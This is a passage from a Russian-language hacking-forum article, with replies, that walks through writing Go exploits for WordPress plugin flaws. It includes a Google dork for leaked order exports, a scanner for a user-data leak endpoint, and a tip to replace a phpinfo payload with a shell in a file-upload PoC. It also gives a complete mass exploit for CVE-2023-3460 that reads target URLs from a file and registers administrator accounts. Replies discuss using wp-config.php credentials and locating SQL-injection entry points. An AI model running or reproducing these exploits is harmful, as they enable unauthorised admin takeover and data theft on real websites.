    if err != nil {
        fmt.Println("Error when creating a query:", err)
        return
    }

    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error while executing the query:", err)
        return
    }
    defer resp.Body.Close()
}


func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, testing PoC...\n", url)
             testPoC(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

Sensitive Info


Что касается уязвимостей типа Sensitive Info, то, на мой взгляд, на их основе можно тестировать создание дорков. Возьмем, например, CVE-2024-13623. Из описания следует, что плагин Order Export for WooCommerce уязвим к утечке конфиденциальной информации во всех версиях до 3.24 включительно через директорию "uploads". Следовательно, можно попробовать реализовать дорк, который в некотором смысле станет эксплойтом: inurl: /wp-content/uploads/export-order-items-for-woocommerce/.

В плане файлов самым интересным является wp-config.php, который находится в корневой директории и содержит данные для подключения к базе данных. Подключившись к базе, можно создать еще один админский аккаунт. Однако по умолчанию PHP-файлы не будут открываться, и тут важна конфигурация сервера. В целом, какие-то интересные файлы, такие как таблицы и данные пользователей, могут содержаться в директории плагинов.

Впрочем, Sensitive Info может выглядеть по-разному. Например, CVE-2024-12041 в плагине Directorist: AI-Powered WordPress Business Directory Plugin with Classified Ads Listings уязвим к утечке информации во всех версиях до 8.0.12 включительно через эндпоинт /wp-json/directorist/v1/users/. Насколько я могу судить, плагин запрашивает данные пользователей, но при обращении к эндпоинту не происходит проверка, кто именно делает запрос.

Эксплойт можно написать с помощью анализа ответа от сервера. Если версия приложения верна, а код ответа от сервера на эндпоинт /wp-json/directorist/v1/users/ — 200 OK, сайт уязвим. Если код ответа не 200 OK (например, 404 или что-либо еще), значит, сайт неуязвим.


Вот сам код:

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
)

const pluginVersionURL = "/wp-content/plugins/directorist/readme.txt"
const vulURL = "/wp-json/directorist/v1/users"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`

const major_e = 8
const minor_e = 0
const path_e = 12

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 3 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])
        path, err3 := strconv.Atoi(parts[2])

        if err1 != nil || err2 != nil || err3 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e && path <= path_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func testPoC(url string) {
    requestURL := fmt.Sprintf("%s%s", url, vulURL)

    resp, err := http.Get(requestURL)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", requestURL, err)
        return
    }
    defer resp.Body.Close()

    if resp.StatusCode == http.StatusOK {
        fmt.Println("The site is vulnerable - ", url)
    }


}


func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, testing PoC...\n", url)
             testPoC(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

Arbitrary File Upload


Очень интересная уязвимость, связанная с загрузкой файлов. Один из возможных сценариев, который попадался мне на глаза, — это загрузка плагина в виде шелла. Из тех, что требуют авторизации, можно привести в пример CVE-2023-0255. Здесь PoC: Для просмотра ссылки Войди или Зарегистрируйся. Этот PoC будет являться эксплойтом, за исключением того, что необходимо заменить PHP-код <?php phpinfo();, который передается в body запроса, например, на Для просмотра ссылки Войди или Зарегистрируйся.


Повышение привилегий


В завершение рассмотрим очень интересный тип уязвимости, который в ряде случаев позволяет создать параллельный аккаунт с административными привилегиями или повысить уровень привилегий текущего аккаунта.

Напишем эксплойт для такого типа уязвимости. CVE-2023-3460 — это уязвимость в плагине Ultimate Member (до версии 2.6.7), которая возникает на этапе регистрации. Доказательство концепции находится на странице: Для просмотра ссылки Войди или Зарегистрируйся.

Здесь стоит отметить, что, вероятно, уязвимость зависит от определенных параметров, заданных в настройках плагина. При тестировании PoC технически работал, но создавал аккаунт с уровнем «Подписчик». Возможно, при проверке на других сайтах с отличающимися настройками плагина ситуация могла бы измениться.

В PoC указана форма с номером 29, что подразумевает использование шорткода с этими цифрами в конце. Однако по умолчанию шорткод заканчивается на 143, то есть не user_login-29, как в PoC, а user_login-143. Важно отметить, что оба варианта работают, но в финальном коде эксплойта я оставлю 29.

По сути, сам код представляет собой всего лишь POST-запрос, в котором передается пейлоад, указывающий на создание аккаунта администратора, а также данные, взятые из формы.

В этом коде, помимо стандартных функций, будет добавлена функция получения nonce, о которой я писал ранее.

Итак, эксплойт для CVE-2023-3460:

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "bytes"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"

    "golang.org/x/net/html"
)

const pluginVersionURL = "/wp-content/plugins/ultimate-member/readme.txt"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`

const nonceURL = "/register"

const major_e = 2
const minor_e = 6
const path_e = 6

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 3 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])
        path, err3 := strconv.Atoi(parts[2])

        if err1 != nil || err2 != nil || err3 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e && path <= path_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func getNonce(url string) string {
    fullUrl := fmt.Sprintf("%s%s", url, nonceURL)

    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Println("Error fetching URL:", err)
        return ""
    }
    defer resp.Body.Close()

    doc, err := html.Parse(resp.Body)
    if err != nil {
        fmt.Println("Error parsing HTML:", err)
        return ""
    }

    var nonce string
    var f func(*html.Node)
    f = func(n *html.Node) {
        if n.Type == html.ElementNode && n.Data == "input" {
            for _, attr := range n.Attr {
                if attr.Key == "id" && attr.Val == "_wpnonce" {
                    for _, attr := range n.Attr {
                        if attr.Key == "value" {
                            nonce = attr.Val
                            return
                        }
                    }
                }
            }
        }
        for c := n.FirstChild; c != nil; c = c.NextSibling {
            f(c)
        }
    }
    f(doc)

    return nonce
}

func testPoC(url, nonce string) {
    postUrl := fmt.Sprintf("%s/register/", url)
    data := fmt.Sprintf("user_login-29=p1wnmemayb2e&user_password-29=P%%40ssw0rd%%21&confirm_user_password-29=P%%40ssw0rd%%21&first_name-29=Kapu1t&wp_capabilities-29[administrator]=1&form_id=143&um_request=&_wpnonce=%s&_wp_http_referer=%%2Fregister%%2F", nonce)

    req, err := http.NewRequest("POST", postUrl, bytes.NewBuffer([]byte(data)))
    if err != nil {
        fmt.Println("Error creating PoC request:", err)
        return
    }

    req.Header.Set("Host", strings.TrimPrefix(url, "http://"))
    req.Header.Set("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0")
    req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8")
    req.Header.Set("Accept-Language", "en-CA,en-US;q=0.7,en;q=0.3")
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Origin", url)
    req.Header.Set("Referer", fmt.Sprintf("%s/register/", url))
    req.Header.Set("Cookie", "wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=1b8518cf0ecbf8627f460b2b088024d9; wp_lang=en_US")
    req.Header.Set("Upgrade-Insecure-Requests", "1")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending PoC request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("PoC response status:", resp.Status)
}

func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, testing PoC...\n", url)
            nonce := getNonce(url)
            testPoC(url, nonce)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

Подводя итоги


Хотелось бы отметить, что сам процесс написания эксплойтов под WordPress не предполагает ничего сложного, особенно если уже существует PoC. Код достаточно линейный и простой.

Более сложный уровень — это вывод PoC из описания CVE. Нужно отметить, что описание описанию рознь, и в целом это немного сложнее, чем кажется на первый взгляд. Скажу лишь, что для отладки удобно использовать VS Code для поиска по скачанному плагину.

В любом случае, после нахождения паттернов в коде уязвимых плагинов WordPress поиск уязвимостей нулевого дня становится вполне понятным. Также я не рассматривал RCE.

Возможно, в следующей статье речь пойдет о чем-то подобном, а может, и о чем-то другом.

Трям! Пока!
 
Ознакомился с материалом, напомнило довольно давний эксплойт в Drupal под названием Drupalgeddon. Суть эксплойта также заключалась просто в отправке HTTP запроса и проверке ответа. В те дни журналисты брали на перебой интервью у авторов эксплойтов, в то время как тестился он по факту обычным CURLом.
 
I remember sysadmins breaking records at how fast they could apply the 7.32 patch after it dropped, sometimes within minutes. Slept through the night? Consider breached!
 
очень близко, но не совсем точно

уточню немного, вдруг кому пригодится:

Path Traversal - работает на уровне раутинга веб-сервера или на уровне раутинга веб приложения, и в случае успеха итог это как правило "чистый файл без примесей" в браузере (но если вебсервер решит что "надо исполнить" то будет выполнение, а не чтение, например PHP файл с "соседнего" сайта того же юзера или всеми любимый баг типа log4j aka log4shell когда в хедер вставляешь вебшелл и он попадает в лог, траверсишь файл лога, вебсервер читает и вываливает лог и вдруг видит в нём код и решает исполнить - вот тебе и RCE, а казалось бы - path traversal...), тут вы "сражаетесь" по сути с раутингом путей приложения которые как правило на regexp'ах писаны (хэллоу всратый ModRewrite у индейца см. доклад Orange Tsai на BH2024), а накосячить с regexp'ами настройщику сайта или разрабу это прям "как здрасьте" скажу я вам (очень рекомендую посмотреть знатное исследование и выступление Orange Tsai на Black Hat 2024 где он "унизил" Apache чуть более чем полностью , лично я прифигел какой в Apache по факту бардак с независимо работающими модулями и общей супер-структурой для реквеста, "внезапно" как говорится)

Local File Inclusion - работает на уровне куска/участка кода самого приложения который может как include/require (и тогда в PHP, обычно фильтрами, бывает возможно RCE) так и просто тупо прочитать (то есть "прочтение") файл в переменн(ую|ые) и выплюнуть полностью или частично в echo или каким-нибудь print (и тогда при простой чтении никакого RCE там близко не будет очевидно, ну исключение тут разве что файл скрафченый uploadнули и загрузчик не тупой "as is", а с парсером в котором баги при парсинге, ведущие к RCE)
 
Это если 3306 мускульный наружу торчит, а если там 127.0.0.1:3306 то credentials для подключения к БД из wp-config.php мало чем помогут (но там есть и другая полезная инфа в этом файле)
 
в WP лично меня бесит то, что даже глядя глазками на кусок прям явно 100пудово уязвимого кода найденного SAST (Static Application Security Testing, ну по сути по простому пример это grep'нуть или студией поиском regexp на предмет тупой конкатенации строк SQL запроса с параметрами без презерватива экранирования - это в 99/100 случаев о SQLi говорит) можно часами истекая от превкушения слюной искать внешний ендпоинт, потому что он может быть в зависимости от извращённости фантазий автора в:
  • тупо /wp-content/pugins/pluginname/fuck-me-in-here.php?hole-parameter=dick-value ,
  • /wp-json/чтототам/endpoint ,
  • /admin-ajax.php?action=ready_to_fuck_action&hole-parameter=dick-value ,
  • /xmlrpc.php
  • прочих уж совсем неочевидных местах... (выше привёл самые очевидные well-known точки входа)

При DAST (Dynamic Application Security Testing) конечно можно как-то каким-то чудом оказавшись в уязвимом коде или "очень рядом" вызвать backtrace и понять через стек вызовов откуда е*сти это дело, но для этого надо для начала как-то в этом коде оказаться в рантайме (ну не полным перебором всех ендпоинтов и всех возможных параметров в конце концов же, да?...)

Может быть кто-то знает методику (именно для WP, с тем же OpenCart там "как слышится так и пишется" всё найти влёгкую) как быстро vscode искать у WP по коду, не облазивая всё-всё вообще все entry points, точку входа ведущую к конкретному уязвимому экшну?
(знаю знаю щас мне поди скажут "да ты просто WP нихрена не знаешь! иди изучи его весь вдоль и поперёк!" - это и так понятно, хочется "лайфхак" он же shortcut)
 
Hello brother, I want to learn from you, I am sincere. Can you give me your contact information? Looking forward to your reply!
 
Activity
So far there's no one here